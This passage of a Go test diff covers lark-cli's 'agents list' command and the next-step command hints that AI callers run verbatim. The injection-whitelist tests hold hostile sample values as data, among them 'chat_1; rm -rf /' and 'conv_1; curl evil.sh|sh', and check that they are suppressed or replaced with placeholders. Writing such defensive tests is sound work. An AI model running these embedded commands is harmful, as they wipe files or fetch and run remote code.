+	}
+	p := findProvider(decodeProviders(t, out), "example")
+	if p == nil {
+		t.Fatalf("list should include the example provider: %s", out.String())
+	}
+	if p["label"] != prov.Label {
+		t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
+	}
+	if p["agent_ref_format"] != prov.AgentRefFormat() {
+		t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
+	}
+	if p["kind"] != string(prov.Kind()) {
+		t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
+	}
+	if p["agent_id_source"] != prov.AgentIDSource {
+		t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
+	}
+	if _, present := p["description"]; present {
+		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
+	}
+	if _, present := p["discoverable"]; present {
+		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
+	}
+}
+
+// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
+// data.providers[] with the full field contract.
+func TestAgentListRun_EnvelopeShape(t *testing.T) {
+	opts, out := listFactory()
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	providers := decodeProviders(t, out)
+	if len(providers) == 0 {
+		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
+	}
+	first, ok := providers[0].(map[string]interface{})
+	if !ok {
+		t.Fatalf("provider entry should be an object, got %T", providers[0])
+	}
+	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
+		if _, present := first[key]; !present {
+			t.Errorf("provider entry missing field %q: %v", key, first)
+		}
+	}
+	if _, present := first["discoverable"]; present {
+		t.Errorf("provider entry should not contain a discoverable field: %v", first)
+	}
+}
+
+// TestAgentListDefaultFormatIsJSON pins the default flip: `agents list`
+// without --format emits the JSON envelope (pretty is opt-in).
+func TestAgentListDefaultFormatIsJSON(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	cmd := NewCmdAgentList(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetArgs([]string{})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("agents list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+}
+
+// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
+// row plus tab-separated provider lines, not a JSON envelope.
+func TestAgentListRun_PrettyFormat(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	opts := &listOptions{Factory: f, Format: "pretty"}
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list pretty should not error: %v", err)
+	}
+	text := out.String()
+	// A pretty rendering is human text, not a JSON envelope.
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
+	}
+	if !strings.HasPrefix(text, "SCHEME") {
+		t.Errorf("pretty output should start with a header row: %s", text)
+	}
+	if !strings.Contains(text, "example") {
+		t.Errorf("pretty output should contain the example provider: %s", text)
+	}
+	if !strings.Contains(text, "example:<agent_id>") {
+		t.Errorf("pretty output should contain the example ref format: %s", text)
+	}
+	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
+	// "where do I get an agent_id" cue does not disappear in the pretty view.
+	if !strings.Contains(text, "agent_id 获取") {
+		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
+	}
+}
+
+// TestAgentListScheme_UnsupportedCapability pins that `agents list fakeflow`
+// on a provider without Discoverer is unsupported_capability (exit 2) with the
+// AgentIDSource text as hint, and — because the probe runs before any client
+// construction — works on an unconfigured Factory.
+func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
+	registerScripted()
+	opts, _ := listFactory()
+	opts.Scheme = "fakeflow"
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T (%v)", err, err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitValidation {
+		t.Fatalf("exit code should be 2, got %d", code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
+		t.Errorf("message should state that listing is not supported, got %q", err.Error())
+	}
+	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
+		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
+	}
+}
+
+// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
+// invalid_argument and the message lists the registered schemes.
+func TestAgentListScheme_UnknownScheme(t *testing.T) {
+	opts, _ := listFactory()
+	opts.Scheme = "nosuch"
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("an unknown scheme should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T (%v)", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
+		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
+	}
+	// Hand-written validation errors carry a recovery hint pointing at
+	// `agents list` for provider discovery.
+	if !strings.Contains(p.Hint, "agents list") {
+		t.Errorf("unknown-scheme hint should point to `agents list`, got %q", p.Hint)
+	}
+}
+
+// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
+// tests only exercise enumeration, never Send/GetTask, but Register requires
+// both non-nil).
+func catSpec(id, name, desc string) iagents.AgentSpec {
+	return iagents.AgentSpec{
+		ID: id, Name: name, Description: desc,
+		Send:    iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+	}
+}
+
+// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
+// is derived offline from the static Catalog. It leaks into the package-level
+// registry for the rest of this package run.
+func registerFakeDisc() {
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakedisc",
+		Label:         "test fake (catalog)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Catalog: []iagents.AgentSpec{
+			catSpec("a1", "Agent One", "第一个"),
+			catSpec("a2", "Agent Two", ""),
+		},
+	})
+}
+
+// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
+// catalog provider enumerates its static entries offline into
+// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
+func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
+	registerFakeDisc()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedisc should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	agents, ok := data["agents"].([]interface{})
+	if !ok || len(agents) != 2 {
+		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
+	}
+	first, _ := agents[0].(map[string]interface{})
+	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
+		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
+	}
+	if env.Meta == nil || env.Meta.Count != 2 {
+		t.Errorf("meta.count should be 2, got %+v", env.Meta)
+	}
+}
+
+// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
+// instance provider that wires the optional ListAgents hook enumerates via it,
+// and the hook receives an identity-pinned runtime (not nil).
+func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
+	var gotRT iagents.Runtime
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakelive",
+		Label:         "test fake (instance live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+		Instance:      &spec,
+		ListAgents: func(_ context.Context, rt iagents.Runtime, _ iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			gotRT = rt
+			return []iagents.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, iagents.PageInfo{}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.Flags().String("as", "", "identity")
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive", PageSize: defaultPageSize}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakelive should not error: %v", err)
+	}
+	if gotRT == nil {
+		t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
+		t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
+	}
+}
+
+// TestAgentListScheme_PaginationMeta pins the command-level pagination envelope
+// for the instance `list <scheme>` path: a ListAgents hook that returns a page
+// plus PageInfo{HasMore,NextToken} surfaces as meta.has_more / meta.page_token,
+// and meta.next carries a "下一页" action replaying the scheme with
+// --page-size / --page-token.
+func TestAgentListScheme_PaginationMeta(t *testing.T) {
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakelivepage",
+		Label:         "test fake (instance paginated live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+		Instance:      &spec,
+		ListAgents: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			if page.Size != 2 {
+				t.Errorf("the ListAgents hook should receive the requested page size 2, got %d", page.Size)
+			}
+			return []iagents.AgentSummary{
+					{AgentRef: "fakelivepage:x", Name: "Live X"},
+					{AgentRef: "fakelivepage:y", Name: "Live Y"},
+				},
+				iagents.PageInfo{NextToken: "2", HasMore: true}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.Flags().String("as", "", "identity")
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelivepage", PageSize: 2}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("paged list fakelivepage should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if env.Meta == nil {
+		t.Fatal("a paged list should carry meta")
+	}
+	if !env.Meta.HasMore {
+		t.Error("meta.has_more should be true")
+	}
+	if env.Meta.PageToken != "2" {
+		t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
+	}
+	found := false
+	for _, n := range env.Meta.Next {
+		if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents list fakelivepage") &&
+			strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
+			found = true
+		}
+	}
+	if !found {
+		t.Errorf("meta.next should contain a 下一页 action replaying the scheme + --page-size/--page-token, got %+v", env.Meta.Next)
+	}
+}
+
+// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
+// path now runs the same all-or-nothing scope preflight every other online verb
+// runs. An instance provider with RequiredScopes, driven by a user whose token
+// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
+func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
+	called := false
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:         "fakescopelive",
+		Label:          "test fake (scoped live-enum)",
+		AgentIDSource:  "test only",
+		RequiredScopes: []string{"live:read"},
+		Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Instance:       &spec,
+		ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			called = true
+			return nil, iagents.PageInfo{}, nil
+		},
+	})
+	// The stored user token holds an unrelated scope (non-empty so the preflight
+	// actually runs) but not the required one.
+	swapStoredScopes(t, []string{"unrelated:scope"})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user", PageSize: defaultPageSize}
+
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("listing as a user missing the required scope should fail with missing_scope")
+	}
+	if code := output.ExitCodeOf(err); code != 3 {
+		t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("subtype should be missing_scope, got %+v", p)
+	}
+	if called {
+		t.Error("ListAgents must NOT be called when the scope preflight fails")
+	}
+}
+
+// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
+// enforces the user|bot identity whitelist. An explicitly unsupported --as is
+// rejected as a validation error before the online ListAgents call.
+func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
+	called := false
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakelivewl",
+		Label:         "test fake (identity-whitelist live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+		Instance:      &spec,
+		ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			called = true
+			return nil, iagents.PageInfo{}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin", PageSize: defaultPageSize}
+
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("an unsupported identity should be rejected before the online call")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
+	}
+	if called {
+		t.Error("ListAgents must NOT be called when the identity whitelist fails")
+	}
+}
+
+// TestAgentListScheme_OnlineChecksProviderIdentity covers the provider-level
+// identity subset in addition to the global user|bot vocabulary. A user-only
+// online provider must reject bot before constructing/calling ListAgents.
+func TestAgentListScheme_OnlineChecksProviderIdentity(t *testing.T) {
+	called := false
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakeliveuseronly",
+		Label:         "test fake (user-only live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Instance:      &spec,
+		ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			called = true
+			return nil, iagents.PageInfo{}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	opts := &listOptions{
+		Factory: f, Cmd: resolveCmd(t, true, "bot"), Format: "json",
+		Scheme: "fakeliveuseronly", As: "bot", PageSize: defaultPageSize,
+	}
+
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("bot should be rejected by a user-only online provider")
+	}
+	p, ok := errs.ProblemOf(err)
+	var validationErr *errs.ValidationError
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument || !errors.As(err, &validationErr) || validationErr.Param != "--as" {
+		t.Fatalf("provider identity rejection should be invalid_argument for --as, got problem=%+v err=%v", p, err)
+	}
+	if called {
+		t.Error("ListAgents must NOT be called when the provider identity check fails")
+	}
+}
+
+// TestAgentListScheme_PrettyStripsANSI pins that `agents list <scheme> --format
+// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
+// static catalog entries) before they reach the terminal.
+func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakedirty",
+		Label:         "test fake (dirty names)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Catalog:       []iagents.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedirty pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
+	}
+	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
+		t.Errorf("readable text should remain after stripping, got %q", text)
+	}
+}
+
+// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
+// --jq flag must be registered on `agents list` and filter the envelope.
+func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	cmd := NewCmdAgentList(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetContext(context.Background())
+	cmd.SetArgs([]string{"--jq", ".ok"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("agents list --jq should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "true" {
+		t.Errorf("--jq .ok should output only true, got %q", got)
+	}
+}
+
+// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
+// of --format, the --jq flag presence, and that list takes at most one
+// positional arg (the scheme).
+func TestNewCmdAgentList_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentList(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("agents list should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil {
+		t.Fatal("agents list should have a --format flag")
+	}
+	if fl.DefValue != "json" {
+		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
+	}
+	if cmd.Flags().Lookup("jq") == nil {
+		t.Error("agents list should have a --jq flag")
+	}
+	if cmd.Flags().Lookup("as") == nil {
+		t.Error("agents list should register an --as flag (needed to pick the identity for online enumeration)")
+	}
+	if err := cmd.Args(cmd, []string{}); err != nil {
+		t.Errorf("agents list with no args should be valid: %v", err)
+	}
+	if err := cmd.Args(cmd, []string{"example"}); err != nil {
+		t.Errorf("agents list <scheme> should be valid: %v", err)
+	}
+	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
+		t.Error("agents list with more than 1 positional argument should error (MaximumNArgs 1)")
+	}
+}

cmd/agents/next_contract_test.go

@@ -0,0 +1,292 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"strings"
+	"testing"
+
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
+// contract test automatically covers any future nextForTask branch keyed on a
+// state instead of relying on hand-picked samples.
+var allTaskStates = []iagents.TaskState{
+	iagents.StateSubmitted,
+	iagents.StateWorking,
+	iagents.StateInputRequired,
+	iagents.StateAuthRequired,
+	iagents.StateCompleted,
+	iagents.StateFailed,
+	iagents.StateCanceled,
+	iagents.StateRejected,
+	iagents.StateUnknown,
+}
+
+// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
+// every next command emitted by nextForTask — across all 9 task states, with
+// and without a context id, template hints included (their <...> placeholders
+// are single space-free tokens, so they parse as ordinary flag values) — must
+// traverse and flag-parse against the real agent command tree. meta.next is
+// defined as "AI executes this verbatim", so a next that references a
+// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
+// at build time instead of by a failing acceptance run.
+func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
+	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
+	// credentials; all meta.next commands live under `lark-cli agents ...`).
+	agentTree := NewCmdAgents(nil)
+
+	for _, state := range allTaskStates {
+		for _, ctxID := range []string{"", "conversation_1"} {
+			task := &iagents.AgentTask{
+				TaskID:     "chat_1",
+				ContextID:  ctxID,
+				State:      state,
+				IsTerminal: state.IsTerminal(),
+			}
+			next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+			if len(next) == 0 {
+				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
+			}
+			for _, n := range next {
+				if state == iagents.StateAuthRequired {
+					// auth_required is an agent-side task state whose next step is
+					// the auth (re-authorize) flow, so it legitimately points OUT
+					// of the agent subtree and is not traversable against
+					// agentTree; assert its shape and skip the agent traversal.
+					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
+						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
+					}
+					continue
+				}
+				if !strings.HasPrefix(n.Command, "lark-cli agents ") {
+					t.Fatalf("next %q must target the agent subtree", n.Command)
+				}
+				// WHEN: the command string is parsed against the real tree.
+				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agents "))
+				c, flags, err := agentTree.Traverse(argv)
+				// THEN: it traverses to a leaf and its flags all exist.
+				if err != nil {
+					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
+				}
+				if c == agentTree {
+					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
+				}
+				if err := c.ParseFlags(flags); err != nil {
+					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
+				}
+			}
+		}
+	}
+}
+
+// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
+// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
+// whole next entry (omit rather than risk injection), in every state —
+// meta.next commands are executed verbatim by AI callers, so shell
+// metacharacters in an interpolated id are command injection.
+func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
+	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
+		for _, state := range allTaskStates {
+			task := &iagents.AgentTask{TaskID: bad, State: state}
+			if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) != 0 {
+				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
+			}
+		}
+	}
+}
+
+// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
+// the user-echoed ref is interpolated into every next command, so a ref that
+// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
+// suppresses the whole hint — a ref with spaces/quotes would make the command
+// un-copy-pasteable at best and an injection surface at worst.
+func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
+		if next := nextForTask(bad, task, nil, nil, iagents.VerbSend); len(next) != 0 {
+			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
+		}
+	}
+	if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) == 0 {
+		t.Error("valid ref example:agent_x should keep next")
+	}
+}
+
+// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
+// its degradation semantics: a legit task_id with an injection-shaped
+// context_id (input_required branch interpolates both) keeps the hint but
+// replaces the dirty id with the <context_id> placeholder — Template:true, no
+// untrusted content interpolated.
+func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
+	dirty := "conv_1; curl evil.sh|sh"
+	task := &iagents.AgentTask{
+		TaskID:    "chat_1",
+		ContextID: dirty,
+		State:     iagents.StateInputRequired,
+	}
+	next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+	if len(next) != 1 {
+		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
+	}
+	if !next[0].Template {
+		t.Errorf("degraded hint must be template=true, got %+v", next[0])
+	}
+	if !strings.Contains(next[0].Command, "<context_id>") {
+		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
+	}
+	if strings.Contains(next[0].Command, "conv_1") {
+		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
+	}
+}
+
+// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
+// agent-side task state (the end user must (re)authorize in the agent), NOT a
+// text-continuation like input_required. Its next must point at the auth
+// re-authorize flow (auth login --scope), never reuse the text-continuation
+// send hint.
+func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
+	task := &iagents.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateAuthRequired}
+	next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+	if len(next) != 1 {
+		t.Fatalf("auth_required should produce 1 next, got %+v", next)
+	}
+	// Must NOT be the input_required text-continuation hint.
+	if strings.Contains(next[0].Command, "agents send") || strings.Contains(next[0].Command, "--text") {
+		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
+	}
+	// Must point at the auth (re-authorize) flow.
+	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
+		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
+	}
+	// The concrete scopes come from the card, so the command carries a
+	// placeholder and must be marked template.
+	if !next[0].Template {
+		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
+	}
+}
+
+// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
+// default: task get has --watch, not --wait, and the poll hint must suggest a
+// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
+// forever on a long task nor self-hammers with unbounded polls.
+func TestNextForTaskWatchNotWait(t *testing.T) {
+	next := nextForTask("example:agent_x", &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}, nil, nil, iagents.VerbSend)
+	if len(next) == 0 {
+		t.Fatal("working task must produce a poll next")
+	}
+	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
+		t.Fatalf("poll next must use --watch: %+v", next)
+	}
+	wantTimeout := "--timeout " + defaultWatchTimeout.String()
+	if !strings.Contains(next[0].Command, wantTimeout) {
+		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
+	}
+}
+
+// TestNextForTaskQuestionGroup pins that an input_required task carrying a
+// question group yields ONE per-question --answer template (bare <option_id>
+// for a choice, marked repeatable for multi-select, .text=<文本> for free text,
+// design doc §4.4); a group with any whitelist-failing question_id falls back
+// to the free-text continuation (a key the CLI's own guard would reject is
+// never emitted).
+func TestNextForTaskQuestionGroup(t *testing.T) {
+	group := nextForTask("example:planner", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Label: "报表生成确认",
+			Questions: []iagents.Question{
+				{QuestionID: "q1_a8", Question: "维度?", Options: []iagents.Option{{OptionID: "by_region", Label: "按大区"}}},
